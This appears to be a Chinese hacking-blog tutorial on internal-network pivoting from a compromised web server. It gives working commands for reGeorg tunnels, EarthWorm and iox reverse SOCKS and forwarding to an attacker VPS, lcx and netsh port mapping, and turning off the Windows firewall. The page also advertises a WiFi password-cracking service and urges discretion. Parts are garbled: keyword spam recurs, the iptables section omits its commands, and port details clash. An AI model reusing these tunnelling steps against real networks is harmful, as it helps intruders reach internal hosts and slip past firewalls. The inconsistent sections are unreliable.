内网渗透之端口转发与代理工具学习

caocao1年前教程252

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

kali控制局域网电脑kali控制局域网电脑kali控制局域网电脑

内网转发

在渗透测试过程中,我们经常需要进行内网转发,以便方便地访问内网资源。常见的内网转发工具可以分为以下几类:

代理工具

reGeorg端口转发是一种常见的代理工具。它适用于公网服务器只开放了80端口的情况。reGeorg是用Python编写的利用Web进行代理的工具,流量只通过HTTP传输,即所谓的HTTP隧道。reGeorg脚本的特征非常明显,很多杀软都会进行查杀。

假设我们已经获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。而内网中存在另外一台主机,假设为内网Web服务器。我们需要将公网Web服务器设置为代理,通过公网服务器的80端口访问和探测内网Web服务器的信息。

kali控制局域网电脑kali控制局域网电脑

根据公网服务器网站所使用的脚本类型,上传相应类型的脚本。例如,如果我们搭建的是PHP网站,可以上传tunnel.nosocket.php脚本。

实验过程中,我们可以通过本地与对方192.168.1.111通讯,对方有双网卡,可以与内网192.168.138.138通讯。将脚本上传成功后,可以访问一些脚本,验证上传是否成功。

 python2.exe .\reGeorgSocksProxy.py -u http://192.168.1.111/tunnel.nosocket.php  -p 1080
kali控制局域网电脑
Proxychains配置:在/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.138.138
kali控制局域网电脑

然后,使用脚本reGeorgSocksProxy.py监听一个端口,建立一条通讯链路。接下来,我们可以利用代理工具Proxychains或Proxifier进行代理。在Windows平台上,可以使用Proxifier进行代理。

需要注意的是,要将python.exe添加到例外,否则会出现死循环。通过以上步骤,我们就可以通过192.168.1.111主机的代理访问到内网主机的WEB页面了。当然,也可以代理远程桌面,右击远程桌面选择Proxifier进行代理。

EW(EarthWorm)代理

EarthWorm是一套便携的网络工具,具有SOCKS5服务架设和端口转发两个核心功能。EarthWorm能够以正向、反向、多级级联等方式建立网络隧道。EarthWorm提供多个文件适用于不同的操作系统。

该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcxslave、lcxlisten、lcx_tran)。其中,ssocksd用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于多级级联网络环境。

实验过程中,正向连接的过程与reGeorg类似,也是上传相应的脚本,然后通过代理端口使用proxychains或Proxifier进行代理。这里我们实验了反弹SOCKS5代理,本地能与对方192.168.1.111通讯,对方双网卡,能与内网192.168.138.138通讯。

kali控制局域网电脑
然后在对方机器上操作:
ew_for_Win.exe -s rssocks -d VPS地址 -e 8888
kali控制局域网电脑kali控制局域网电脑

接着,我们使用代理工具进行代理配置。在配置文件/etc/proxychains.conf中将IP配置为VPS的IP和连接的端口。配置完成后,就可以远程登录内网主机了。

LXC端口转发

Lcx是基于socket套接字实现的端口转发工具,有Windows和Linux版本。Windows版是lcx.exe,Linux版是portmap。

在本地端口映射实验中,假设我们已经获取到了对方Web服务器的权限,这时可以通过9080端口远程连接对方内网服务器的3389端口,使用LXC端口转发技术来实现。

在对方Web服务器上执行命令,然后直接访问对方53端口就可以将流量转发到对方的3389端口。

在目标机器执行命令:
Lcx.exe -tran 9080 192.168.138.138 3389
这个意思是将内网目标的3389端口的流量转到9080端口送出去。然后就可以访问对方的9080端口访问到3389
kali控制局域网电脑

假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。

配置好后,就可以访问内网了,例如访问一些无法直接访问的目标内网服务器。在浏览器中输入VPS的地址加上VPS转发的端口,就可以访问到对方内网的服务器了。当然,还有一种方法是我们可以访问WEB服务器,而内网有服务器。但是测试结果显示,对方除了80和53端口,其他端口的流量都不出口。这时,可以通过53端口将流量引出来。

访问规则:攻击者可以访问WEB服务器的80端口,对方DNS流量通往外网,但是其他端口除了80都关闭了。

WEB服务器配置:lcx.exe -tran 53 192.168.138.138 80

然后,我们访问内网主机的服务器也是可以访问到的。

Netsh进行端口转发

Netsh(Network Shell)是Windows系统提供的功能强大的网络配置命令行工具。自Windows XP开始,Windows中就内置了网络端口转发的功能。通过Portproxy模式下的Netsh命令,可以实现Windows系统中的端口转发。

基础命令使用Portproxy模式下的Netsh命令即可实现端口转发,转发命令如下:

VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136

转发语法:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)。

禁用系统防火墙
netsh firewall set opmode disable
启用防火墙
netsh firewall set opmode enable

# windows 7 及以上
netsh advfirewall set allprofiles state off / on


进行端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.1.111 listenport=1080 connectaddress=192.168.138.138 connectport=3389 #新建一个端口映射,将外网网卡192.168.1.111的1080端口和192.168.138.138的3389端口做个映射
netsh interface portproxy show all #查看端口映射
kali控制局域网电脑kali控制局域网电脑

在环境中,我们需要通过WEB服务器去访问无法直接访问的内网服务器。需要以管理员身份启动命令提示符并执行以下命令。

通过以上步骤,我们可以通过访问WEB服务器的1080端口,将流量转发给内网服务器的3389端口。使用完代理后,可以删除端口转发规则。

如果想要清空当前所有的配置规则,可以执行以下命令。

当然,也可以根据不同的环境配置进行转发,无论是转发内网主机是Linux还是其他系统,配置方法都是类似的,只需要按照当前环境进行相应的配置即可。

Iptables进行端口转发

IPTABLES是与最新的3.5版本Linux内核集成的IP信息包过滤系统。它能够在Linux系统上更好地控制IP信息包过滤和防火墙配置。所有的Linux发行版都可以使用iptables。

接着,可以通过远程登录192.168.1.47的5555端口来访问192.168.1.111的3389端口。如果要转发SSH,也是类似的,只需要将内网22端口转发流量到WEB服务器即可。

iox代理工具

iox功能类似于lcx/ew,但是iox更加优秀。iox在网络编程逻辑上进行了优化,并提供了流量加密和UDP流量转发的功能。iox是基于Golang语言编写的。首先,在Go目录的src子目录下克隆iox项目,并使用go build iox编译成.exe文件。

iox具有以下特性:

  • 用法统一,所有参数都是一致的。
  • 两种模式:fwd和proxy。

在fwd模式下,可以监听两个端口并将两个连接之间的流量进行转发。在proxy模式下,可以在本地启动Socks5服务,并将服务转发到公网VPS上。需要注意的是,这两种模式的命令必须成对使用,因为它们内部包含了一个简单的协议来控制回连。

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
./iox proxy -l 1080

for ew:
./ew -s ssocksd -l 1080
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的

for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
kali控制局域网电脑

iox还支持UDP转发,只需要添加命令行参数"-u"。需要注意的是,在进行多级连接的转发时,Remote2Remote-UDP-mode必须最后一个被启动。

UDP转发可能会有一些不符合预期的行为。目前在GitHub上只有将本地监听的UDP流量转发到远程主机的例子,所以我只能根据我的理解来实现。

在场景实验中,假设攻击者不能直接访问内网服务器,但可以访问WEB服务器,而WEB服务器可以访问内网服务器。通过WEB服务器转发内网主机的3389端口,就可以访问内网的服务。

kali控制局域网电脑
 VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136

现在我们在VPS上面监听端口,本地转发端口流量,将目标主机的6666端口流量转发到本地2323端口
wine iox.exe fwd -l 6666 -l 2323

访问成功!通过转发端口,可以访问到内网主机的3389端口。假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。

kali控制局域网电脑
接着在目标机器上面执行命令,把内网机器的3389端口从6666端口转出流量
iox.exe fwd -r VPS_IP:6666 -r 192.168.138.138:3389
kali控制局域网电脑
首先在目标机器上开启Socks5服务:
iox.exe proxy -l 1080
kali控制局域网电脑kali控制局域网电脑

接着,我们可以通过访问VPS的IP加上2323端口来访问内网主机的3389端口。iox还提供了Proxy代理功能,在VPS上监听一个端口,然后将流量转发到目标主机的相应端口。连接成功后,可以使用proxychains或proxifier进行代理,这里我使用proxifier进行代理,将VPS的IP和端口配置为1080。配置完成后,就可以访问内网主机的3389端口了。

以上是关于内网转发的一些工具和方法,希望对您有所帮助。如有错误,请多多指正!

渗透测试【红队攻防 - 内网渗透】培训服务,专注于职业渗透场景下的尖端技术培训。5号黯区。

相关文章

Linux系统这11个发行版,你认识多少个?

Linux系统这11个发行版,你认识多少个?

概述 今天我们将学习关于Linux各个发行版本的发展史。在开始之前,让我们先了解一下什么是Linux。严格来说,Linux只是一个操作系统中的内核,它建立了计算机软件与硬件之间的通讯平台,并提供系统服...

kali linux镜像_kali对安卓系统的镜像取证

kali linux镜像_kali对安卓系统的镜像取证

``` 准备工作 在进行安卓系统的镜像取证之前,需要做一些准备工作: 确保手机运行的是安卓系统,并且已经root和开启了USB调试模式。 确保取证电脑运行的是Kali系统。 使用USB线将手机和Ka...

厉害了,Word哥!我用Hashcat找回了Office文档密码

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 【51CTO.com原创...

Linux上的中文输入法安装(Ubuntu + Kali五笔拼音)

Linux上的中文输入法安装(Ubuntu + Kali五笔拼音)

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 sudo apt-get...